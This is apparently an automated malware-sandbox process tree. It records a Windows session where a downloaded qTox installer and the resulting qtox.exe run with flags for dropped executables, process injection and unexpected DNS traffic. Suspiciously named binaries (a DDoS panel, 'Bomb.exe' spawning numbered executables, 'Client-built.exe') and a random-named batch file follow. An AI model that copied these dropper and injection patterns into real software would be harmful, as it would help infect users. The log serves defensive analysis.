    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5952,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4416 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3664
- - C:\Users\Admin\Downloads\setup-qtox-x86_64-release.exe
    "C:\Users\Admin\Downloads\setup-qtox-x86_64-release.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:3364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files" /save "C:\Users\Admin\AppData\Local\Temp\program-files-permissions.txt"
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "" /restore "C:\Users\Admin\AppData\Local\Temp\qTox-install-file-permissions.txt"
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2912
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=4784,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6088 /prefetch:1
    3⤵
    PID:1052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --field-trial-handle=3488,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3448 /prefetch:1
    3⤵
    PID:1884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --field-trial-handle=4676,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1412 /prefetch:1
    3⤵
    PID:3424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --field-trial-handle=6100,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6112 /prefetch:1
    3⤵
    PID:912
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --field-trial-handle=5436,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5420 /prefetch:1
    3⤵
    PID:1644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --field-trial-handle=3416,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2976 /prefetch:1
    3⤵
    PID:3196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --field-trial-handle=6148,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6276 /prefetch:1
    3⤵
    PID:4148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --field-trial-handle=6416,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6260 /prefetch:1
    3⤵
    PID:2688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --field-trial-handle=6572,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6460 /prefetch:1
    3⤵
    PID:6524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --field-trial-handle=3752,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6284 /prefetch:1
    3⤵
    PID:6280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --field-trial-handle=6732,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6716 /prefetch:1
    3⤵
    PID:6084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --field-trial-handle=6864,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7004 /prefetch:1
    3⤵
    PID:3008
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --field-trial-handle=5476,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6880 /prefetch:1
    3⤵
    PID:3592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --field-trial-handle=6152,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5484 /prefetch:1
    3⤵
    PID:3092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --field-trial-handle=6600,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6420 /prefetch:1
    3⤵
    PID:6636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --field-trial-handle=6716,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6660 /prefetch:1
    3⤵
    PID:4072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --field-trial-handle=6156,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6748 /prefetch:1
    3⤵
    PID:1416
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --field-trial-handle=6212,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6552 /prefetch:1
    3⤵
    PID:4504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --field-trial-handle=6236,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6184 /prefetch:1
    3⤵
    PID:5296
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --field-trial-handle=3080,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5568 /prefetch:1
    3⤵
    PID:288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --field-trial-handle=6228,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7188 /prefetch:1
    3⤵
    PID:5312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --field-trial-handle=7260,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7028 /prefetch:1
    3⤵
    PID:5592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --field-trial-handle=7076,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6140 /prefetch:1
    3⤵
    PID:312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --field-trial-handle=4700,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3240 /prefetch:1
    3⤵
    PID:1672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --field-trial-handle=3500,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5548 /prefetch:1
    3⤵
    PID:3132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --field-trial-handle=6372,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6364 /prefetch:1
    3⤵
    PID:6940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --field-trial-handle=5428,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6404 /prefetch:1
    3⤵
    PID:2148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --field-trial-handle=6648,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7132 /prefetch:1
    3⤵
    PID:3464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --field-trial-handle=7448,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7464 /prefetch:1
    3⤵
    PID:3768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --field-trial-handle=7436,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7596 /prefetch:1
    3⤵
    PID:6716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --field-trial-handle=7604,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7748 /prefetch:1
    3⤵
    PID:6772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --field-trial-handle=7732,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7888 /prefetch:1
    3⤵
    PID:7156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --field-trial-handle=7872,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8024 /prefetch:1
    3⤵
    PID:7028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --field-trial-handle=8048,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8176 /prefetch:1
    3⤵
    PID:4924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --field-trial-handle=9036,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7800 /prefetch:1
    3⤵
    PID:6244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --field-trial-handle=7620,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7844 /prefetch:1
    3⤵
    PID:6804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --field-trial-handle=7772,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7820 /prefetch:1
    3⤵
    PID:1600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --field-trial-handle=6540,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6068 /prefetch:1
    3⤵
    PID:5644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --field-trial-handle=7992,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7972 /prefetch:1
    3⤵
    PID:5668
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --field-trial-handle=6520,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6140 /prefetch:1
    3⤵
    PID:716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --field-trial-handle=7044,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8368 /prefetch:1
    3⤵
    PID:3136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --field-trial-handle=7092,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8888 /prefetch:1
    3⤵
    PID:6268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --field-trial-handle=7632,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6484 /prefetch:1
    3⤵
    PID:8660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --field-trial-handle=4456,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6496 /prefetch:1
    3⤵
    PID:7348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --field-trial-handle=6484,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4436 /prefetch:1
    3⤵
    PID:3180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --field-trial-handle=6544,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6756 /prefetch:1
    3⤵
    PID:3088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --field-trial-handle=7808,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7060 /prefetch:1
    3⤵
    PID:8736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --field-trial-handle=8972,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6308 /prefetch:1
    3⤵
    PID:9548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --field-trial-handle=6552,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7856 /prefetch:1
    3⤵
    PID:4140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --field-trial-handle=5204,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7804 /prefetch:1
    3⤵
    PID:9920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:5264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8462fcc40,0x7ff8462fcc4c,0x7ff8462fcc58
    3⤵
    PID:5608
- C:\Program Files\qTox\bin\qtox.exe
  "C:\Program Files\qTox\bin\qtox.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Unexpected DNS network traffic destination
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SendNotifyMessage
  PID:5124
- - C:\Windows\SysWOW64\netbtugc.exe
    "C:\Windows\SysWOW64\netbtugc.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious behavior: MapViewOfSection
    PID:7388
  - - C:\Program Files\Mozilla Firefox\Firefox.exe
      "C:\Program Files\Mozilla Firefox\Firefox.exe"
      4⤵
      PID:8524
- C:\Yota\multiyota.exe
  "C:\Yota\multiyota.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5424
- C:\961117be\961117be.exe
  "C:\961117be\961117be.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1192
- C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE
  "C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE"
  2⤵
  PID:5928
- C:\Users\Admin\AppData\Local\Temp\Ultra Mega Null DDoS Panel (added API Function in v2.39).exe
  "C:\Users\Admin\AppData\Local\Temp\Ultra Mega Null DDoS Panel (added API Function in v2.39).exe"
  2⤵
  PID:2856
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\program-files-permissions.txt
  2⤵
  PID:6696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sAqtBKLthTK8.bat" "
  2⤵
  PID:3660
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:560
- - C:\Windows\system32\PING.EXE
    ping -n 10 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3120
- C:\Users\Admin\AppData\Local\Temp\Bomb.exe
  "C:\Users\Admin\AppData\Local\Temp\Bomb.exe"
  2⤵
  PID:972
- - C:\Users\Admin\AppData\Local\Temp\25.exe
    "C:\Users\Admin\AppData\Local\Temp\25.exe"
    3⤵
    PID:6648
- - C:\Users\Admin\AppData\Local\Temp\24.exe
    "C:\Users\Admin\AppData\Local\Temp\24.exe"
    3⤵
    PID:3044
- - C:\Users\Admin\AppData\Local\Temp\23.exe
    "C:\Users\Admin\AppData\Local\Temp\23.exe"
    3⤵
    PID:436
- - C:\Users\Admin\AppData\Local\Temp\22.exe
    "C:\Users\Admin\AppData\Local\Temp\22.exe"
    3⤵
    PID:6512
- - C:\Users\Admin\AppData\Local\Temp\21.exe
    "C:\Users\Admin\AppData\Local\Temp\21.exe"
    3⤵
    PID:2080
- - C:\Users\Admin\AppData\Local\Temp\20.exe
    "C:\Users\Admin\AppData\Local\Temp\20.exe"
    3⤵
    PID:4632
- - C:\Users\Admin\AppData\Local\Temp\19.exe
    "C:\Users\Admin\AppData\Local\Temp\19.exe"
    3⤵
    PID:5456
- - C:\Users\Admin\AppData\Local\Temp\18.exe
    "C:\Users\Admin\AppData\Local\Temp\18.exe"
    3⤵
    PID:2844
- - C:\Users\Admin\AppData\Local\Temp\17.exe
    "C:\Users\Admin\AppData\Local\Temp\17.exe"
    3⤵
    PID:2108
- - C:\Users\Admin\AppData\Local\Temp\16.exe
    "C:\Users\Admin\AppData\Local\Temp\16.exe"
    3⤵
    PID:1724
- - C:\Users\Admin\AppData\Local\Temp\15.exe
    "C:\Users\Admin\AppData\Local\Temp\15.exe"
    3⤵
    PID:3760
- - C:\Users\Admin\AppData\Local\Temp\14.exe
    "C:\Users\Admin\AppData\Local\Temp\14.exe"
    3⤵
    PID:5424
- - C:\Users\Admin\AppData\Local\Temp\13.exe
    "C:\Users\Admin\AppData\Local\Temp\13.exe"
    3⤵
    PID:6652
- - C:\Users\Admin\AppData\Local\Temp\12.exe
    "C:\Users\Admin\AppData\Local\Temp\12.exe"
    3⤵
    PID:2852
- - C:\Users\Admin\AppData\Local\Temp\11.exe
    "C:\Users\Admin\AppData\Local\Temp\11.exe"
    3⤵
    PID:6364
- - C:\Users\Admin\AppData\Local\Temp\10.exe
    "C:\Users\Admin\AppData\Local\Temp\10.exe"
    3⤵
    PID:3984
- - C:\Users\Admin\AppData\Local\Temp\9.exe
    "C:\Users\Admin\AppData\Local\Temp\9.exe"
    3⤵
    PID:336
- - C:\Users\Admin\AppData\Local\Temp\8.exe
    "C:\Users\Admin\AppData\Local\Temp\8.exe"
    3⤵
    PID:3672
- - C:\Users\Admin\AppData\Local\Temp\7.exe
    "C:\Users\Admin\AppData\Local\Temp\7.exe"
    3⤵
    PID:332
- - C:\Users\Admin\AppData\Local\Temp\6.exe
    "C:\Users\Admin\AppData\Local\Temp\6.exe"
    3⤵
    PID:1780
- - C:\Users\Admin\AppData\Local\Temp\5.exe
    "C:\Users\Admin\AppData\Local\Temp\5.exe"
    3⤵
    PID:6124
- - C:\Users\Admin\AppData\Local\Temp\4.exe
    "C:\Users\Admin\AppData\Local\Temp\4.exe"
    3⤵
    PID:7204
- - C:\Users\Admin\AppData\Local\Temp\3.exe
    "C:\Users\Admin\AppData\Local\Temp\3.exe"
    3⤵
    PID:7248
- - C:\Users\Admin\AppData\Local\Temp\2.exe
    "C:\Users\Admin\AppData\Local\Temp\2.exe"
    3⤵
    PID:7296
- - C:\Users\Admin\AppData\Local\Temp\1.exe
    "C:\Users\Admin\AppData\Local\Temp\1.exe"
    3⤵
    PID:7336
- C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe
  "C:\Users\Admin\AppData\Local\Temp\a121af5f66\Gxtuum.exe"
  2⤵
  PID:6092
- C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"
  2⤵
  PID:7292
